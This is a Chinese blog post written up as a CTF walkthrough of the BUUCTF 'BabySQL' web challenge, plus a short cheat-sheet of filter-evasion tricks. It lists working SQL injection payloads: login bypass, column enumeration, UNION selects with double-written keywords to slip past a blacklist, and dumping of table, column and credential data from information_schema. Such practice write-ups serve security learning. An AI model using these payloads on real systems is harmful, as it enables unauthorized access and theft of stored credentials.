美文网首页RE: 从零开始的CTF世界之旅
【BUUCTF练习-Web 0017】[极客大挑战 2019]B

【BUUCTF练习-Web 0017】[极客大挑战 2019]B

作者: 月蚀様 | 来源:发表于2021-01-24 19:54 被阅读0次

0x01 Subject

Baby SQL => 注入漏洞


0x02 Mind Palace

image image

这里的提示是 => 做了严格的过滤 => 关键在绕过(maybe)

/check.php?username=xxx&password=xxx

select x,x from table where username = xxx and password = xxx

payload = /check.php?username=root%27+or+1%3D1%3B%23&password=root

但是感觉上是注释符被过滤了或者and or被过滤了

=> root%27+or+1%3D1%3B%23 | root' or 1=1;#

假设是or被过滤了,用url编码一下试试%6f%72

=> root%27+%6f%72+1%3D1%3B%23 | root' or 1=1;#

反馈:1=1;#' 附近有语法错误

那可能是; or #被过滤?

=> root%27/**/%6f%72/**/1%3D1%3B%23

=> root%27/**/oorr/**/1%3D1%3B%23

=> root%27%2520oorr%25201%3D1%3B%23 | root'%20oorr%201=1;#

反馈:Unknown column '20or' in 'where clause'

好像发现了什么不得了的东西 emm

过滤是肯定有过滤的 ;; oorr的绕过好像是没问题的

因为上面是在抓包的情况下改的 我们直接试试去登陆界面输入

root = root' oorr 1=1;#

[图片上传失败...(image-39c139-1611499391656)]

payload => /check.php?username=root%27+oorr+1%3D1%3B%23&password=root

成功绕过

查找column的数量

/check.php?username=admin' order by 3%23&password=1 反馈有error

推测by也是有过滤的用`bbyy代替

root = admin' oorrder bbyy 3# => Login Success

root = admin' oorrder bbyy 4# => Error

image

说明这个table里面有三列数据

下一步就是找到回显点

root = admin' union select 1,2,3 => Error 有过滤需绕过

UnIon SeLEcT失败 => 继续拼字符串 => ununionion selselectect

root => 9' ununionion selselectect 1,2,3#

image

说明column2 + column3可以作为回显点

root => 9' ununionion selselectect 1,database(),version()#

image

=> database_name = geek

下一步:利用information_schema.tables爆破有哪些table

root => 9' ununionion selselectect 999,999,group_concat(table_name) from information_schema.tables where table_schema=geek# => Error

from+where都有过滤?都去试试看看

from => frfromom;where => whwhereere

image

Information_schema变成了;;;哦哦哦 or 也是有过滤的emm

root = 9' ununionion selselectect 999,999,group_concat(table_name) frfromom infoorrmation_schema.tables whwhereere table_schema=database()#

/check.php?username=9%27+ununionion+selselectect+999%2C999%2Cgroup_concat%28table_name%29+frfromom+infoorrmation_schema.tables+whwhereere+table_schema%3D'geek'%23&password=1
image

果断猜测flag存在于b4bsql表中 => 爆破column_name

root = 9' ununionion selselectect 999,999,group_concat(column_name) frfromom infoorrmation_schema.columns whwhereere table_schema=database() anandd table_name='b4bsql'#

(我麻了,and也需要绕一下(。ì _ í。))

image

再根据这个三个字段爆破数据

root = 9' ununionion selselectect 999,999,group_concat(id,username,passwoorrd) frfromom b4bsql#

(我麻了,有error多半是有什么地方没绕|不要忘记了(。ì _ í。))

获得flag

image

0x03 Look Ahead

小总结一下

  1. 根据提示知道sql注入有严格的过滤;再通过尝试找到绕过的方法为藏字符
  2. 直接获得username和password 但是没有有用的信息
  3. 通过order by的报错知晓有多少列:root = admin' oorrder bbyy 4#
  4. 寻找回显点:root => 9' ununionion selselectect 1,2,3#
  5. 获得数据库基本信息:root => 9' ununionion selselectect 1,database(),version()#
  6. 通过information_schema数据库爆破table_name + column_names
    1. root = 9' ununionion selselectect 999,999,group_concat(table_name) frfromom infoorrmation_schema.tables whwhereere table_schema=database()#
    2. root = 9' ununionion selselectect 999,999,group_concat(column_name) frfromom infoorrmation_schema.columns whwhereere table_schema=database() anandd table_name='b4bsql'#
  7. 再根据知道的column_names去获取数据
    1. root = 9' ununionion selselectect 999,999,group_concat(id,username,passwoorrd) frfromom b4bsql#

关于绕过过滤の潜在的方法

IF 过滤空格和--+等注释符

多行注释符(块注释符)、一对英文括号、换行符、加号来代替空格

IF 特定字符被过滤

0x01 大小写变形

and => AnD
or  => Or oR OR

0x02 改变编码

采用url编码;把ascii编码的0x给替换成%,比如o的ascii为0x6f,url编码就是%6f

0x03 添加注释

select => sel/**/ect
and      => a/**/nd

0x04 藏字符

select => selselectect
and      => anandd

0x05 使用符号

and => &&
or  => ||

IF 数字被过滤

0x01 数据类型改变

1 => 1.0
3 => 3.0

IF 关系符号被过滤

>
<
=> greatest() least()
=> where greatest(ascii(substr(database(),0,1)),64)=64

References:

https://blog.csdn.net/weixin_40950781/article/details/100061268

https://www.cnblogs.com/peterpan0707007/p/7501507.html

https://blog.csdn.net/qq_45521281/article/details/105533626


END(¯﹃¯)

相关文章

网友评论

    本文标题:【BUUCTF练习-Web 0017】[极客大挑战 2019]B

    本文链接:https://www.haomeiwen.com/subject/qlxvzktx.html